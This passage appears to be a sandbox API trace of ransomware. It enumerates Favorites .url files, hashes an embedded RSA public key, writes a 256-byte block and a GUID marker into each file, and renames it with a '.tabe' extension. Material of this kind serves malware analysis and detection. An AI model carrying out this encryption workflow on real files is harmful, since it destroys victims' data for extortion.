KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.971] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.971] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.971] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0126.972] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.972] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.972] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.972] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.972] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.972] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0126.972] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.972] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.972] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.972] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.973] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.973] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.973] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.973] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.973] CloseHandle (hObject=0x618) returned 1 [0126.974] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.tabe")) returned 1 [0126.975] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0126.975] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0126.975] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.975] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0126.975] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.976] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.976] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.977] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0126.977] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.977] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.977] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.977] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0126.978] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.978] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.978] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.978] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.978] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.978] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0126.978] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.978] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.978] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.978] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.978] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.979] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.979] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.979] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.979] CloseHandle (hObject=0x618) returned 1 [0126.979] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.tabe")) returned 1 [0126.981] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0126.981] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0126.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.982] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=134) returned 1 [0126.982] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.983] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.983] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.984] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x86, lpOverlapped=0x0) returned 1 [0126.984] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.984] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.984] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.984] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x865f38) returned 1 [0126.984] CryptCreateHash (in: hProv=0x865f38, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.984] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.984] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.985] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.985] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.985] CryptReleaseContext (hProv=0x865f38, dwFlags=0x0) returned 1 [0126.985] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.985] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.985] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.985] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0126.985] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x86, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.985] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.985] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.985] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.985] CloseHandle (hObject=0x618) returned 1 [0126.986] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.tabe")) returned 1 [0126.987] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0126.987] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0126.987] PeekMessageW (in: lpMsg=0x3dcff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcff08) returned 0 [0126.987] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0126.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0126.987] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.988] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.988] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.988] PathFindFileNameW (pszPath="") returned="" [0126.988] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.988] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.988] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0126.988] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned=".url" [0126.988] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.989] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=133) returned 1 [0126.989] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.990] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.990] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.991] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x85, lpOverlapped=0x0) returned 1 [0126.991] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.991] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.991] lstrlenA (lpString="-----BEGIN PUBLIC 